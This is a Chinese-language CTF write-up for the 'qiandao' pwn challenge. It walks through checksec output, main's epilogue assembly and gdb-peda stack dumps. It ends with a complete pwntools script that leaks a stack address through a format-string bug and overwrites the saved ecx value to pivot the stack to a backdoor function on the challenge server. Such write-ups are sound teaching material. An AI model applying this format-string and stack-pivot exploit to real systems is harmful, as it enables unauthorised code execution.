qiandao | 格式化字符串+栈溢出 chen@ubuntu:~/Desktop$ checksec qiandao [*] '/home/chen/Desktop/qiandao' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
gets(&s); printf (&s);... gets(&v4);
在main函数结尾发现已下的汇编代码,对汇编代码的分析很关键
.text:080485FD mov ecx, [ebp+var_4] .text:08048600 leave .text:08048601 lea esp, [ecx-4] .text:08048604 retn
这段汇编决定了直接栈溢出无效,关键就在于esp被改变
mov ecx, [ebp+var_4],ecx=(ebp-0x4)地址中的内容赋值
lea esp,[ecx-4]可以认为是mov esp,ecx-0x4即esp=ecx-0x4,esp指针被控制则会影响ret
采用gdb-peda辅助分析
ECX: 0xf7fb75a0 --> 0xfbad208b //执行mov ecx, [ebp+var_4]之前 EDX: 0xf7fb887c --> 0x0 ESI: 0xf7fb7000 --> 0x1afdb0 EDI: 0xf7fb7000 --> 0x1afdb0 EBP: 0xffffd068 --> 0x0 ESP: 0xffffd040 --> 0x61 ('a') .......... ECX: 0xffffd080 --> 0x1 //执行mov ecx, [ebp+var_4]之后 EDX: 0xf7fb887c --> 0x0 ESI: 0xf7fb7000 --> 0x1afdb0 EDI: 0xf7fb7000 --> 0x1afdb0 EBP: 0xffffd068 --> 0x0 ESP: 0xffffd040 --> 0x61 ('a') ........... gdb-peda$ stack 30 0000| 0xffffd040 --> 0x61 ('a') 0004| 0xffffd044 --> 0x0 0008| 0xffffd048 --> 0xf7e35840 (add ebx,0x1817c0) 0012| 0xffffd04c --> 0x804865b (<__libc_csu_init+75>: add edi,0x1) 0016| 0xffffd050 --> 0x61 ('a') 0020| 0xffffd054 --> 0xffffd114 --> 0xffffd2e9 ("/home/chen/Desktop/qiandao") 0024| 0xffffd058 --> 0xffffd11c --> 0xffffd304 ("XDG_VTNR=7") 0028| 0xffffd05c --> 0x8048631 (<__libc_csu_init+33>: lea eax,[ebx-0xf8]) 0032| 0xffffd060 --> 0xf7fb73dc --> 0xf7fb81e0 --> 0x0 0036| 0xffffd064 --> 0xffffd080 --> 0x1 //EBP-4 ,ecx=(ebp-0x4)地址中的内容赋值 0040| 0xffffd068 --> 0x0 //EBP 0044| 0xffffd06c --> 0xf7e1f647 (<__libc_start_main+247>: add esp,0x10) 0048| 0xffffd070 --> 0xf7fb7000 --> 0x1afdb0 0052| 0xffffd074 --> 0xf7fb7000 --> 0x1afdb0 0056| 0xffffd078 --> 0x0 0060| 0xffffd07c --> 0xf7e1f647 (<__libc_start_main+247>: add esp,0x10) 0064| 0xffffd080 --> 0x1 //ECX
接下来 leave,则mov esp,ebp=>esp=ebp=0xffffd068,pop ebp之后esp=0xffffd06c,之后esp=ecx-0x4= [ebp+var_4]-0x4(此处ebp=0xffffd068),转化一下就是esp= [0xffffd064]-0x4,esp=var_4(在栈上可以覆盖)的内容-0x4,
gdb ./qiandao disas main b * 0x080485d1
在printf(&s);处下断点,便于观察输入在栈上的位置
gdb-peda$ stack 30 0000| 0xffffd030 --> 0xffffd050 ("%p%p%p%p%p%p") 0004| 0xffffd034 --> 0xf7fb7000 --> 0x1afdb0 //第一个%p=>0xf7fb7000 0008| 0xffffd038 --> 0xffffd068 --> 0x0 //第二个%p=>0xffffd068=ebp=>%2$p 0012| 0xffffd03c --> 0x80485ab (<main+22>: sub esp,0xc) 0016| 0xffffd040 --> 0x1 //ebp-0x28 gets(&s)第二次输入点[0xffffd064]-0x4 0020| 0xffffd044 --> 0x0 //ebp-0x24 [0xffffd06c]= 0xffffd044=> 0024| 0xffffd048 --> 0xf7e35840 (add ebx,0x1817c0) 0028| 0xffffd04c --> 0x804865b (<__libc_csu_init+75>: add edi,0x1) 0032| 0xffffd050 ("%p%p%p%p%p%p") 0036| 0xffffd054 ("%p%p%p%p") 0040| 0xffffd058 ("%p%p") 0044| 0xffffd05c --> 0x8048600 (<main+107>: leave) 0048| 0xffffd060 --> 0xf7fb73dc --> 0xf7fb81e0 --> 0x0 0052| 0xffffd064 --> 0xffffd080 --> 0x1 0056| 0xffffd068 --> 0x0 0060| 0xffffd06c --> 0xf7e1f647 (<__libc_start_main+247>: add esp,0x10) 0064| 0xffffd070 --> 0xf7fb7000 --> 0x1afdb0 0068| 0xffffd074 --> 0xf7fb7000 --> 0x1afdb0 0072| 0xffffd078 --> 0x0 0076| 0xffffd07c --> 0xf7e1f647 (<__libc_start_main+247>: add esp,0x10) 0080| 0xffffd080 --> 0x1 0084| 0xffffd084 --> 0xffffd114 --> 0xffffd2e9 ("/home/chen/Desktop/qiandao") 0088| 0xffffd088 --> 0xffffd11c --> 0xffffd304 ("XDG_VTNR=7") 0092| 0xffffd08c --> 0x0 0096| 0xffffd090 --> 0x0 0100| 0xffffd094 --> 0x0 0104| 0xffffd098 --> 0xf7fb7000 --> 0x1afdb0 0108| 0xffffd09c --> 0xf7ffdc04 --> 0x0 0112| 0xffffd0a0 --> 0xf7ffd000 --> 0x23f40 0116| 0xffffd0a4 --> 0x0
payload
from pwn import *p=remote("183.129.189.60" ,10019 ) p=process('./qiandao' ) context.log_level='debug' context.arch='i386' p.recvuntil("what's your name:\n" ) p.sendline("%2$p" ) p.recvuntil('0x' ) addr=int(p.recvuntil('\n' ).strip('\n' ),16 ) print(hex(addr)) back_door=0x804857d payload=p32(back_door)+'a' *0x20 +p32(addr-0x24 ) p.recvuntil("Can you solve this sign-in problem?\n" ) p.send(payload) p.interactive()
本地
远程:提交flag还要去掉flag{},呵呵